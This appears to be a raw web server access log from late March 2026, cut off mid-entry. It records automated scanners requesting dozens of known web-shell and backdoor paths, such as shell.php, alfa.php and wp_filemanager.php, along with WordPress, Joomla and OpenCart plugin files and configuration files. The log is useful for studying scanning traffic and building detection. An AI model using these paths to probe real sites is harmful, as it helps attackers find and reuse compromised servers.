[29/Mar/2026:19:51:08 +0300] "GET /wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-orders-stats.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:13 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/contact-form-7-admin.js.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:18 +0300] "GET /wp-content/plugins/revslider/temp/update_extract/revslider.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:22 +0300] "GET /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:27 +0300] "GET /wp-content/languages/plugins/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:32 +0300] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:37 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:37 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:42 +0300] "GET /storage/framework/cache/data/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:47 +0300] "GET /wp-content/cache/supercache/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:50 +0300] "GET /wp-content/advanced-cache.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:55 +0300] "GET /wp-includes/blocks/latest-posts.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:56 +0300] "GET /wp-includes/blocks/rss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:56 +0300] "GET /wp-includes/blocks/search.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:51:56 +0300] "GET /wp-includes/blocks/post-comments.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:01 +0300] "GET /templates/system/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:06 +0300] "GET /administrator/components/com_ajax/ajax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:11 +0300] "GET /components/com_fields/models/fields.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:16 +0300] "GET /modules/mod_login/tmpl/default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:21 +0300] "GET /plugins/system/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:26 +0300] "GET /tmp/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:31 +0300] "GET /cache/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:36 +0300] "GET /images/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:41 +0300] "GET /language/overrides/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:46 +0300] "GET /administrator/cache/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:51 +0300] "GET /components/com_media/controller.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:52:56 +0300] "GET /templates/template/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:01 +0300] "GET /administrator/modules/mod_login/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:06 +0300] "GET /plugins/user/profile/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:11 +0300] "GET /configuration.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.102.66.233 - - [29/Mar/2026:21:12:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 173.252.70.30 - - [29/Mar/2026:20:56:41 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.220.61.78 - - [29/Mar/2026:21:10:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 220.116.142.217 - - [29/Mar/2026:21:25:28 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 85.137.48.167 - - [29/Mar/2026:19:24:51 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 46.101.80.192 - - [29/Mar/2026:19:33:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 74.249.214.222 - - [29/Mar/2026:21:31:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 194.5.82.111 - - [29/Mar/2026:19:53:16 +0300] "GET /admin/controller/extension/module/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:21 +0300] "GET /image/data/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:26 +0300] "GET /system/storage/cache/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:31 +0300] "GET /catalog/view/theme/default/template/common/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:36 +0300] "GET /admin/view/template/extension/module/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:41 +0300] "GET /download/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:46 +0300] "GET /system/engine/loader.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:51 +0300] "GET /admin/controller/common/filemanager/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:53:56 +0300] "GET /catalog/controller/journal3/settings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:01 +0300] "GET /storage/app/public/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:06 +0300] "GET /storage/framework/cache/data/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:11 +0300] "GET /public/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:16 +0300] "GET /vendor/composer/installed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:21 +0300] "GET /storage/framework/sessions/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:26 +0300] "GET /bootstrap/cache/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:54:31 +0300] "GET /storage/framework/views/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 93.159.230.28 - - [29/Mar/2026:21:17:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; arm_64; Android 12; CPH2205) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaBrowser/23.3.3.86.00 SA/3 Mobile Safari/537.36" 20.168.64.117 - - [29/Mar/2026:19:48:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.68.107.156 - - [29/Mar/2026:20:22:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.107.156 - - [29/Mar/2026:20:22:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 20.151.2.242 - - [29/Mar/2026:21:53:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 191.234.164.177 - - [29/Mar/2026:22:23:16 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 223.244.35.77 - - [29/Mar/2026:22:28:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.148 - - [29/Mar/2026:22:29:25 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 87.121.84.71 - - [29/Mar/2026:22:02:16 +0300] "GET /assets/global/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 87.106.187.36 - - [29/Mar/2026:22:12:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15" 43.99.54.236 - - [29/Mar/2026:21:47:38 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 192.159.99.205 - - [29/Mar/2026:22:45:58 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 165.22.231.215 - - [29/Mar/2026:22:53:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 87.106.187.36 - - [29/Mar/2026:23:11:00 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.jp/search?q=wordpress" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 192.159.99.205 - - [29/Mar/2026:22:45:58 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [29/Mar/2026:22:45:58 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 192.159.99.205 - - [29/Mar/2026:22:46:35 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 165.22.231.215 - - [29/Mar/2026:22:53:54 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 49.51.252.146 - - [29/Mar/2026:23:28:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.159.99.205 - - [29/Mar/2026:22:45:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.159.99.205 - - [29/Mar/2026:22:45:58 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.132.214.228 - - [30/Mar/2026:00:20:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.65.31 - - [29/Mar/2026:23:57:56 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.220.232.240 - - [30/Mar/2026:03:17:37 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:01 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:48 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:52 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:23 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:53 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:27 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:38 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:54 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:26:51 +0300] "GET /wp-admin/css/colors/light/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:32 +0300] "GET /xwpg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:36 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:26 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:29 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:55 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:59 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:29 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:45 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:26:23 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:02 +0300] "GET /byp8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:48 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:56 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:06 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:18:34 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:06 +0300] "GET /help/crnpwfiu.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:01 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 201.222.53.102 - - [30/Mar/2026:00:48:48 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.232.240 - - [30/Mar/2026:03:16:19 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:25 +0300] "GET /v1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:42 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:18:07 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:18:17 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:18:29 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:37 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:21 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:06 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:09 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:12 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:16 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:31 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:33 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:35 +0300] "GET //wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:39 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:55 +0300] "GET /unloathness.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:59 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [30/Mar/2026:02:38:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:15:54 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:15:56 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:18:49 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:13 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:56 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:35 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:38 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:21 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:25 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:28 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:31 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:37 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:40 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:44 +0300] "GET /explorer/index_.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:47 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:51 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:07 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:42 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:47 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:16 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:00 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:09 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:12 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:45 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:26:08 +0300] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:27:06 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 64.89.160.178 - - [30/Mar/2026:02:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:15:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:13 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:30 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:52 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:19:22 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:46 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:51 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:12 +0300] "GET /wp-sign.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:22:16 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:22 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:34 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:37 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:40 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:05 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:28 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:59 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:26:37 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:17 +0300] "GET /ws45.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:20 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:17:23 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:16 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:20:56 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:48 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:19 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:24:23 +0300] "GET /class-wp-l10n-cache.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:25:20 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 64.89.160.178 - - [30/Mar/2026:02:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:15:47 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:16:07 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:56 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:21:59 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:06 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.220.232.240 - - [30/Mar/2026:03:23:09 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 192.165.45.205 - - [30/Mar/2026:04:28:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 192.121.146.24 - - [30/Mar/2026:04:28:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.3" 144.172.112.102 - - [30/Mar/2026:05:35:15 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.166.136.24 - - [30/Mar/2026:05:45:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 184.174.33.10 - - [30/Mar/2026:06:41:33 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 184.174.33.10 - - [30/Mar/2026:06:43:13 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 184.174.33.10 - - [30/Mar/2026:06:42:10 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.138.68.113 - - [30/Mar/2026:05:33:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.39.254 - - [30/Mar/2026:04:56:18 +0300] "GET / HTTP/1.1" 301 795 